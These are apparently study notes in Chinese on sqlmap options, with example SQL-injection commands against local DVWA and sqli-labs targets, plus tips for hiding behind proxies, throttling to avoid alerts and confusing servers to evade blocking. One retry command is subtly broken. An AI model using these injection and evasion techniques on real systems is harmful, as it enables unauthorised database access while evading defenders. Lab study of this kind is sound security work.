Web安全攻防 学习笔记
1、sqlmap 设置 cookie 的参数
--cookie
--cookie-del
--load-cookies
--drop-set-cookie # 如果 http 响应头中有 set-cookie 但是又不想使用其进行测试时, 可设置该参数
sqlmap 使用 cookie 过程
- 登录或浏览页面
- 找到 cookie
- 在 sqlmap 中使用
--cookie cookie值
使用场景
- web 应用程序具有基于 cookie 验证的过程,要测试的页面只有在登录状态下才能访问,登录状态用 cookie 识别。
# 查看数据库版本信息
$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --banner
# 查看数据库信息
$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --dbs
# 查看当前数据库信息
$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --current-db
- 想利用 cookie 值上的 SQL 注入漏洞,想要检测是否存在 cookie 注入。检测 cookie 还需要参数
level (level 2 检测 cookie, level 3 检测 referer)
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --banner --dbs
2、sqlmap 设置 user-agent 的参数
- 默认情况下,sqlmap 使用以下用户代理执行HTTP请求:
sqlmap/版本号#dev (http://sqlmap.org)
- sqlmap 指定 user-agent
使用参数 --user-agent='指定的user-agent'
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --banner --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" -v 4
- 也可以设置随机的 user-agent
使用参数 --random-agent
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --random-agent --banner -v 4
3、sqlmap 设置代理 IP 的参数
与爬虫相似的,为了保护自己,在探测网站时通常会使用代理 IP 使我们的主机地址不那么容易被获取。
- 设置 HTTP 代理服务器位置,格式
--proxy "http(s)://ip[端口]"
我们可以到网站搜索一些免费的代理 IP 进行尝试(当然,很多都是非常慢的,甚至是不能用的)
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --proxy "http://182.35.81.205:9999" --banner
- 设置 HTTP 代理服务器认证信息, 格式
--proxy-cred "user:pwd"
有一些代理 IP 是需要账号密码的
-
设置多条代理在文件中,格式
--proxy-file "文件"
-
当希望通过忽略系统范围内的 HTTP(S) 代理服务器设置来针对本地网络的目标时,使用
--ignore-proxy
4、sqlmap 设置延迟、超时的参数
- 设置延迟
--delay 时间(秒)
sqlmap 探测过程中会发送大量探测 Payload 到目标,如果默认情况过快的发包速度会导致目标预警。 为了避免这样的情况发生,可以在探测设置 sqlmap 发包延迟。默认情况下,不设置延迟。
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --delay 5 --banner
- 设置超时
--timeout 时间(秒)
在考虑超时 HTTP 请求之前,可以指定等待的秒数。有效值是一个浮点数,比如 10.5 秒。(默认是30秒)
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --timeout 10.5 --banner
- 设置超时重试次数
--retries 次数
设置对应重试次数,默认情况下重试 3 次。
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --timeout 5 retries 5 --banner
- 设置随机参数
--randomize
sqlmap可以指定要在每次请求期间随机更改其值得参数名称。长度和类型根据提供的原始值保持 一致
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --randomize id --banner -v 5
- sqlmap中设置忽略 401
--ignore-401
如果测试偶尔返回 HTTP 错误 401 的站点,而你想忽略它并在不提供适当凭证的情况下继续测试,可以 使用--ignore-401
参数用来忽略未验证错误。
$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --ignore-401 --banner -v 5
-
避免错误请求过多而被屏蔽
有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而 Sqlmap 的测试往往会产生大量错 误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。
参数:-
--safe-url
隔一会就访问一下的安全 URL -
--safe-post
访问安全 URL 时携带的 POST 数据 -
--safe-req
从文件中载入安全 HTTP 请求 -
--safe-freq
每次测试请求之后都会访问一下的安全 URL
-